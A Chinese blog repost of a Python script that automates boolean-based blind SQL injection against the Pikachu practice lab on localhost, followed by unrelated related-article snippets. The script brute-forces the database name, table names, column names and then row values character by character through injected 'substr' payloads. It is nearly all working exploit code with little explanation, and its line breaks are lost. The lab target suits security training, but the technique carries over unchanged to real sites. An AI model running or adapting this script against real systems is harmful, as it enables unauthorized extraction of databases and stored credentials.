pikachu靶場(SQL注入基于布爾的盲注)python實現

import requests
from bs4 import BeautifulSoupurl = "http://localhost:8086/pikachu-master/vul/sqli/sqli_blind_b.php"def get_database_name(url):dataname = ''  # 初始化一個空字符串用于存儲數據庫名dict = 'abcdefghijklmnopqrstuvwxyz '  # 數據庫名可能存在這些字段中的任意一個i = 1while True:for j in dict:  # 遍歷dict中的字符payload = {'name': "admin' and substr(database(),%d,1) ='%s'-- " % (i, j),# 這里的substr函數用于截取數據庫名的第i個字符,并與dict中的字符進行比較'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload)  # 發送請求soup = BeautifulSoup(response.text, 'html.parser')  # 解析響應內容token = soup.find_all('p', class_="notice")[0].text  # 找到頁面中的提示信息if 'uid' in token:  # 如果提示信息中包含uid,說明數據庫名可能存在該字符if j != ' ':  # 如果該字符為z,說明數據庫名可能存在該字符dataname += j  # 將該字符添加到數據庫名中i += 1else:  # 如果該字符為 ',說明數據庫名可能存在該字符,但由于該字符在數據庫名中是最后一個,所以不再添加return datanamedatabase_name = get_database_name(url)
print("數據庫名為:" + database_name)def get_table_name(url, database_name):table_name = ""  # 初始化一個空字符串用于存儲表名dict = 'abcdefghijklmnopqrstuvwxyz, '  # 表名可能存在這些字段中的任意一個i = 1while True:for j in dict:payload = {'name': "admin' and substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%d,1) ='%s'-- " % (database_name, i, j),# 這里的substr函數用于截取數據庫名的第i個字符,并與dict中的字符進行比較'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload)  # 發送請求soup = BeautifulSoup(response.text, 'html.parser')  # 解析響應內容token = soup.find_all('p', class_="notice")[0].text  # 找到頁面中的提示信息if 'uid' in token:  # 如果提示信息中包含uid,說明表名可能存在該字符if j != ' ':table_name += ji += 1else:return table_name  # 找到表名后返回database_name = input("請輸入您要查詢的數據庫名:")
table_name = get_table_name(url, database_name)
print("表名為:" + table_name)def get_column_name(url, database_name, table_name):column_name = ''  # 初始化一個空字符串用于存儲列名dict = 'abcdefghijklmnopqrstuvwxyz, '  # 列名可能存在這些字段中的任意一個i = 1while True:for j in dict:  # 遍歷dict中的字符payload = {'name': "admin' and substr((select group_concat(column_name) from information_schema.columns where table_schema='%s' and table_name='%s'),%d,1) ='%s'-- " % (database_name, table_name, i, j),# 這里的substr函數用于截取數據庫名的第i個字符,并與dict中的字符進行比較'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload)  # 發送請求soup = BeautifulSoup(response.text, 'html.parser')  # 解析響應內容token = soup.find_all('p', class_="notice")[0].text  # 找到頁面中的提示信息if 'uid' in token:  # 如果提示信息中包含uid,說明列名可能存在該字符if j != ' ':  column_name += j  # 將該字符添加到列名中i += 1else:   return column_name  # 找到列名后返回table_name = input('請輸入您要查詢的表名:')
column_name = get_column_name(url, database_name, table_name)
print("列名為:" + column_name)def get_value(url,table_name,column_name1,column_name2):value= ''dict = 'abcdefghijklmnopqrstuvwxyz1234567890, 'i = 1while True:for j in dict:  # 遍歷dict中的字符payload = {'name': "admin' and substr((select group_concat(concat(%s,',',%s)) from %s),%d,1) ='%s'-- " % (column_name1, column_name2 , table_name,i,j),# 這里的substr函數用于截取數據庫名的第i個字符,并與dict中的字符進行比較'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload)  # 發送請求soup = BeautifulSoup(response.text, 'html.parser')  # 解析響應內容token = soup.find_all('p', class_="notice")[0].text  # 找到頁面中的提示信息if 'uid' in token:if j != ' ':value += ji += 1else:return valueinput_value = input('請輸入您要查詢的列名1:')
input_value2 = input('請輸入您要查詢的列名2:')
value = get_value(url, table_name, input_value, input_value2)
print("查詢結果為:" + value)

執行結果

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/14545.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/14545.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/14545.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

docker實戰之搭建MYSQL8.0主從同步

目錄 環境配置容器創建主服務器創建MYSQL容器新增my.cnf文件創建用戶并授權 從服務器創建MYSQL容器新增my.cnf文件重啟MYSQL容器配置主從同步 驗證主從同步彩蛋 MySQL 主從同步(Master-Slave Replication)是一種常用的解決方案,它允許一個主服…

Golang實現根據文件后綴刪除文件和遞歸刪除文件

概述 這個功能會非常強大,因為在日常工作中,我通常會遇到需要批量刪除文件的場景,通過這個方法,再結合我的另一個 命令行開發框架,能夠很輕松的開發出這個功能。 代碼 package zdpgo_fileimport ("errors"…

LabVIEW與串口通訊在運行一段時間后出現數據接收中斷的問題

這些問題可能與硬件、軟件或通信協議有關。以下是詳細的原因分析和可能的解決方案: 一、硬件原因 串口線纜或接口問題: 由于長時間使用,串口線纜可能出現接觸不良或損壞。接口松動也可能導致通訊中斷。 解決方案:檢查并更換串口…

C語言基礎-內存申請和釋放

在C語言中,malloc 和 free 是用于動態內存分配和釋放的函數。而在C中,new 和 delete 提供了類似的功能,但它們之間有一些重要的區別。 1. malloc 和 free malloc malloc 函數用于在堆上動態地分配指定字節數的內存。它的原型在 stdlib.h 頭…

【Text2SQL 經典模型】X-SQL

論文:X-SQL: reinforce schema representation with context ???? Microsoft, arXiv:1908.08113 X-SQL 與 SQLova 類似,使用 BERT style 的 PLM 來獲得 representation,只是融合 NL question 和 table schema 的信息的方式不太一樣&#…

一種獲取java代碼結構的實現思路

一種獲取java代碼結構的實現思路 有時,我們需要獲取java文件里的代碼結構,即,只需要里面的class定義、方法聲明、屬性定義。不需要額外的方法實現 這里提供一下實現思路: 采用語法解析器Tree-sitter對java代碼進行解析,獲取里面的方法實現遍歷第一步獲取到的方法列表,在源…

Linux c開發線程鎖和條件變量使用

#include <pthread.h> #include <stdio.h> #include <unistd.h>pthread_mutex_t mutex PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond PTHREAD_COND_INITIALIZER;void* thread_function(void* arg) {printf("線程等待喚醒,鎖定互斥量...\n");…

代碼隨想錄算法訓練營第十七天 | 110. 平衡二叉樹、257. 二叉樹的所有路徑、404. 左葉子之和

[LeetCode] 110. 平衡二叉樹 [LeetCode] 110. 平衡二叉樹 文章解釋 [LeetCode] 110. 平衡二叉樹 視頻解釋 給定一個二叉樹&#xff0c;判斷它是否是 平衡二叉樹 示例 1&#xff1a; 輸入&#xff1a;root [3,9,20,null,null,15,7] 輸出&#xff1a;true示例 2&#xff1a; 輸…

HTTP 響應分割漏洞

HTTP 響應分割漏洞 1.漏洞概述2.漏洞案例 1.漏洞概述 HTTP 響應拆分發生在以下情況&#xff1a; 數據通過不受信任的來源&#xff08;最常見的是 HTTP 請求&#xff09;進入 Web 應用程序。該數據包含在發送給 Web 用戶的 HTTP 響應標頭中&#xff0c;且未經過惡意字符驗證。…

CSS常用的兩種定位方式

在CSS中&#xff0c;absolute 和 relative 是兩種常用的定位方式&#xff0c;分別通過 position 屬性進行設置。它們用于控制元素在頁面中的位置。理解這兩種定位方式對于布局和設計響應式頁面非常重要。 position: relative 定義 relative 定位是相對自身原始位置進行偏移。…

Python 魂斗羅的音效和動漫效果

一、實現游戲音效 音效是游戲中不可或缺的一部分&#xff0c;它可以為游戲增添氛圍和趣味性。在 Pygame 中&#xff0c;我們可以使用 pygame.mixer 模塊來播放音效。下面是一個簡單的示例代碼&#xff0c;演示如何在游戲中播放音效&#xff1a; import pygamepygame.mixer.init…

windows平臺vcpkg安裝

1. 克隆vcpkg倉庫 git clone https://github.com/microsoft/vcpkg 2.運行bootstrap-vcpkg.bat下載vcpkg.exe 3.運行驗證 4.使用VCPKG安裝OPENSSL 5.安裝成功

VC++學習(1)——環境準備,參考文檔等,初步入門VC++

目錄 引出環境準備&#xff0c;參考文檔第一講 初步入門鍵盤按下的消息鼠標左鍵按下報錯源碼新建一個工程 總結 引出 VC學習&#xff08;1&#xff09;——環境準備&#xff0c;參考文檔等&#xff0c;初步入門VC C是一門編程語言,他的語法標準和語言特性是全球統一的 VC是微…

計算機系統概述習題

選擇題 電子計算機問世至今&#xff0c;新型計算機不斷推陳出新&#xff0c;不管怎么更新&#xff0c;依然具有“存儲程序”的特點&#xff0c;最早提出這種概念的是(B) A. 巴貝奇 B. 馮*諾伊曼 C. 帕斯卡 D. 貝爾 B下列描述中___是正確的。 A. 控制器能理解&#xff0c;解釋…

中國主要城市房價指數數據集(2011-2024)

數據來源&#xff1a;東方財富網 時間跨度&#xff1a;2011年1月 - 2024年4月 數據范圍&#xff1a;中國主要城市 包含指標&#xff1a; 日期、城市 新建商品住宅價格指數-同比 新建商品住宅價格指數-環比 新建商品住宅價格指數-定基 二手住宅價格指數-環比 二手住宅價格指…

Visual Studio 調試及快捷鍵

文章目錄 原文連接環境一、調試器的基本使用1、更改執行流2、快速執行某一條代碼斷點設置條件斷點查看內存信息查看調用堆棧查看寄存器信息設置監視斷點調試二、快捷鍵一、窗口快捷鍵二、查找相關快捷鍵三、代碼快捷鍵原文連接 【教程】visual studio debug 技巧總結 環境 一…

OpenCASCADE Draw模塊TKDraw項目問題修改

1.問題 在調試Draw模塊代碼時&#xff0c;出現一個小問題&#xff0c;導致無法正常運行 如下&#xff1a; 2.代碼跟蹤 通過代碼跟蹤發現時一個數組越界問題&#xff0c;在此處添加了判斷處理&#xff0c;程序可以正常調試

Golang使用HTTP框架zdpgo_resty實現文件下載

核心代碼 代碼解析&#xff1a; client.SetOutputDirectory("Downloads") 設置下載目錄client.R().SetOutput("test.go").Get("http://127.0.0.1:3333/download 指定下載文件名并進行下載 // 設置輸出目錄路徑&#xff0c;如果目錄不存在&#xff…

數據結構順序表實現通訊錄

目錄 1. 前言&#xff1a; 2.通訊錄項目的創建 3. 通訊錄的實現 3.1 通訊錄的初始化 3.2 通訊錄的銷毀 3.3 通訊錄添加數據 3.4 通訊錄查找數據 3.5 通訊錄展示數據 3.6 通訊錄刪除數據 3.7 通訊錄修改數據 4. 通訊錄完整代碼 4.1 test.c 4.2 SeqList.h 4.3 SeqLis…

PostgreSQL學習筆記

PostgreSQL 基本概念和架構 PostgreSQL 是一個功能強大的開源對象關系數據庫管理系統&#xff08;ORDBMS&#xff09;&#xff0c;其設計目標是遵循 SQL 標準&#xff0c;并提供豐富的功能&#xff0c;如復雜查詢、外鍵、觸發器、視圖和事務處理。以下是 PostgreSQL 的基本概念…